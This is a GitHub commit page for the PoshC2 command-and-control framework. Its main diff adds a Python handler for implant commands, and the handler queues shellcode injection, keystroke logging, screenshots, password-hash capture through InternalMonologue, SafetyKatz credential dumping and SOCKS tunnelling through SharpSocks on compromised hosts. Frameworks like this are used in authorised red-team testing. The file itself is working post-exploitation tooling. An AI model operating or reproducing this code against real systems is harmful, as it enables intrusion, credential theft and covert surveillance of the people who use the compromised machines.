-
Notifications
You must be signed in to change notification settings - Fork 326
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
1,229 additions
and
204 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -93,3 +93,6 @@ ENV/ | |
|
||
# VSCode | ||
.vscode/ | ||
|
||
# VStudio | ||
.vs/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,3 +4,4 @@ class Colours: | |
RED = '\033[91m' | ||
END = '\033[0m' | ||
YELLOW = '\033[93m' | ||
PURPLE = '\033[1;35m' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,262 @@ | ||
import base64, re, traceback, os, string, sys | ||
from prompt_toolkit import PromptSession | ||
from prompt_toolkit.history import FileHistory | ||
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory | ||
from prompt_toolkit.styles import Style | ||
|
||
from poshc2.client.Alias import cs_alias, cs_replace | ||
from poshc2.Colours import Colours | ||
from poshc2.Utils import validate_sleep_time, argp, load_file, gen_key | ||
from poshc2.server.AutoLoads import check_module_loaded, run_autoloads_sharp | ||
from poshc2.client.Help import sharp_help | ||
from poshc2.server.Config import PoshInstallDirectory, PoshProjectDirectory, SocksHost, PayloadsDirectory | ||
from poshc2.server.Core import print_bad | ||
from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter | ||
from poshc2.server.PowerStatus import getpowerstatus | ||
from poshc2.server.database.DB import new_task, unhide_implant, kill_implant, get_implantdetails, get_sharpurls | ||
from poshc2.server.database.DB import select_item, new_c2_message, get_powerstatusbyrandomuri, update_label, get_randomuri | ||
|
||
|
||
def handle_fcomm_command(command, user, randomuri, implant_id): | ||
|
||
# convert randomuri to parent randomuri | ||
oldrandomuri = randomuri | ||
p = get_implantdetails(randomuri) | ||
newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group() | ||
if newimplant_id is not None: | ||
randomuri = get_randomuri(newimplant_id) | ||
|
||
# alias mapping | ||
for alias in cs_alias: | ||
if alias[0] == command[:len(command.rstrip())]: | ||
command = alias[1] | ||
|
||
# alias replace | ||
for alias in cs_replace: | ||
if command.startswith(alias[0]): | ||
command = command.replace(alias[0], alias[1]) | ||
|
||
original_command = command | ||
command = command.strip() | ||
|
||
run_autoloads_sharp(command, randomuri, user, loadmodule_command="fcomm-loadmodule") | ||
|
||
if command.startswith("searchhistory"): | ||
searchterm = (command).replace("searchhistory ", "") | ||
with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: | ||
for line in hisfile: | ||
if searchterm in line.lower(): | ||
print(Colours.PURPLE + line.replace("+", "")) | ||
|
||
elif command.startswith("searchhelp"): | ||
searchterm = (command).replace("searchhelp ", "") | ||
helpful = sharp_help.split('\n') | ||
for line in helpful: | ||
if searchterm in line.lower(): | ||
print(Colours.PURPLE + line) | ||
|
||
elif command.startswith("upload-file"): | ||
source = "" | ||
destination = "" | ||
if command == "upload-file": | ||
style = Style.from_dict({ | ||
'': '#772953', | ||
}) | ||
session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) | ||
try: | ||
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) | ||
source = PayloadsDirectory + source | ||
except KeyboardInterrupt: | ||
return | ||
while not os.path.isfile(source): | ||
print("File does not exist: %s" % source) | ||
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) | ||
source = PayloadsDirectory + source | ||
destination = session.prompt("Location to upload to: ") | ||
else: | ||
args = argp(command) | ||
source = args.source | ||
destination = args.destination | ||
try: | ||
destination = destination.replace("\\", "\\\\") | ||
print("") | ||
print("Uploading %s to %s" % (source, destination)) | ||
uploadcommand = f"upload-file {source} {destination}" | ||
new_task(f"fcomm-command {uploadcommand}", user, randomuri) | ||
except Exception as e: | ||
print_bad("Error with source file: %s" % e) | ||
traceback.print_exc() | ||
|
||
elif command.startswith("unhide-implant"): | ||
unhide_implant(oldrandomuri) | ||
|
||
elif command.startswith("hide-implant"): | ||
kill_implant(oldrandomuri) | ||
|
||
elif command.startswith("inject-shellcode"): | ||
params = re.compile("inject-shellcode", re.IGNORECASE) | ||
params = params.sub("", command) | ||
style = Style.from_dict({ | ||
'': '#772953', | ||
}) | ||
session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) | ||
try: | ||
path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) | ||
path = PayloadsDirectory + path | ||
except KeyboardInterrupt: | ||
return | ||
try: | ||
shellcodefile = load_file(path) | ||
if shellcodefile is not None: | ||
new_task("fcomm-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) | ||
except Exception as e: | ||
print("Error loading file: %s" % e) | ||
|
||
elif command.startswith("migrate"): | ||
params = re.compile("migrate", re.IGNORECASE) | ||
params = params.sub("", command) | ||
migrate(randomuri, user, params) | ||
|
||
elif command == "kill-implant" or command == "exit": | ||
impid = get_implantdetails(randomuri) | ||
ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) | ||
if ri.lower() == "n": | ||
print("Implant not terminated") | ||
if ri == "" or ri.lower() == "y": | ||
new_task("fcomm-kill", user, randomuri) | ||
kill_implant(oldrandomuri) | ||
|
||
elif command == "sharpsocks": | ||
from random import choice | ||
allchar = string.ascii_letters | ||
channel = "".join(choice(allchar) for x in range(25)) | ||
sharpkey = gen_key().decode("utf-8") | ||
sharpurls = get_sharpurls() | ||
sharpurls = sharpurls.split(",") | ||
sharpurl = select_item("HostnameIP", "C2Server") | ||
print(PoshInstallDirectory + "SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.PURPLE) | ||
ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") | ||
if ri.lower() == "n": | ||
print("") | ||
if ri == "": | ||
new_task("fcomm-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) | ||
if ri.lower() == "y": | ||
new_task("fcomm-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) | ||
|
||
elif (command.startswith("stop-keystrokes")): | ||
new_task("fcomm-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) | ||
update_label("", randomuri) | ||
|
||
elif (command.startswith("start-keystrokes")): | ||
check_module_loaded("Logger.exe", randomuri, user) | ||
new_task("fcomm-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) | ||
update_label("KEYLOG", randomuri) | ||
|
||
elif (command.startswith("get-keystrokes")): | ||
new_task("fcomm-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) | ||
|
||
elif (command.startswith("get-screenshotmulti")): | ||
pwrStatus = get_powerstatusbyrandomuri(randomuri) | ||
if (pwrStatus is not None and pwrStatus[7]): | ||
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") | ||
if ri.lower() == "n" or ri.lower() == "": | ||
return | ||
new_task(f"fcomm-command {command}", user, randomuri) | ||
update_label("SCREENSHOT", randomuri) | ||
|
||
elif (command.startswith("get-screenshot")): | ||
pwrStatus = get_powerstatusbyrandomuri(randomuri) | ||
if (pwrStatus is not None and pwrStatus[7]): | ||
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") | ||
if ri.lower() == "n" or ri.lower() == "": | ||
return | ||
new_task(f"fcomm-command {command}", user, randomuri) | ||
|
||
elif (command == "get-powerstatus"): | ||
getpowerstatus(randomuri) | ||
new_task("fcomm-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) | ||
|
||
elif (command == "getpowerstatus"): | ||
getpowerstatus(randomuri) | ||
new_task("fcomm-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) | ||
|
||
elif (command.startswith("stop-powerstatus")): | ||
new_task(f"fcomm-command {command}", user, randomuri) | ||
update_label("", randomuri) | ||
|
||
elif (command.startswith("stoppowerstatus")): | ||
new_task(f"fcomm-command {command}", user, randomuri) | ||
update_label("", randomuri) | ||
|
||
elif (command.startswith("pslo")): | ||
new_task(f"fcomm-{command}", user, randomuri) | ||
|
||
elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command: | ||
style = Style.from_dict({'': '#772953'}) | ||
session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) | ||
try: | ||
path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) | ||
path = PayloadsDirectory + path | ||
except KeyboardInterrupt: | ||
return | ||
if os.path.isfile(path): | ||
with open(path, "r") as p: | ||
payload = p.read() | ||
new_task("fcomm-command %s payload=%s" % (command, payload), user, randomuri) | ||
else: | ||
print_bad("Could not find file") | ||
|
||
elif (command.startswith("get-hash")): | ||
check_module_loaded("InternalMonologue.exe", randomuri, user) | ||
new_task("fcomm-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri) | ||
|
||
elif (command.startswith("safetykatz")): | ||
new_task("fcomm-command run-exe SafetyKatz.Program %s" % command, user, randomuri) | ||
|
||
elif command.startswith("loadmoduleforce"): | ||
params = re.compile("loadmoduleforce ", re.IGNORECASE) | ||
params = params.sub("", command) | ||
new_task("fcomm-loadmodule %s" % params, user, randomuri) | ||
|
||
elif command.startswith("loadmodule"): | ||
params = re.compile("loadmodule ", re.IGNORECASE) | ||
params = params.sub("", command) | ||
new_task("fcomm-loadmodule %s" % params, user, randomuri) | ||
|
||
elif command.startswith("listmodules"): | ||
modules = os.listdir("%s/Modules/" % PoshInstallDirectory) | ||
modules = sorted(modules, key=lambda s: s.lower()) | ||
print("") | ||
print("[+] Available modules:") | ||
print("") | ||
for mod in modules: | ||
if (".exe" in mod) or (".dll" in mod): | ||
print(mod) | ||
|
||
elif command.startswith("modulesloaded"): | ||
ml = get_implantdetails(randomuri) | ||
print(ml.ModsLoaded) | ||
new_task("fcomm-command listmodules", user, randomuri) | ||
|
||
elif command == "help" or command == "?": | ||
print(sharp_help) | ||
|
||
elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): | ||
new_sleep = command.replace('set-beacon ', '') | ||
new_sleep = new_sleep.replace('setbeacon ', '') | ||
new_sleep = new_sleep.replace('beacon ', '').strip() | ||
if not validate_sleep_time(new_sleep): | ||
print(Colours.RED) | ||
print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") | ||
print(Colours.PURPLE) | ||
else: | ||
new_task(f"fcomm-command {command}", user, randomuri) | ||
|
||
else: | ||
if command: | ||
new_task(f"fcomm-command {original_command}", user, randomuri) | ||
return | ||
|
||
|
||
def migrate(randomuri, user, params=""): | ||
print("Do not use migrate when in a fcomm implant - use Inject-Shellcode") |
Oops, something went wrong.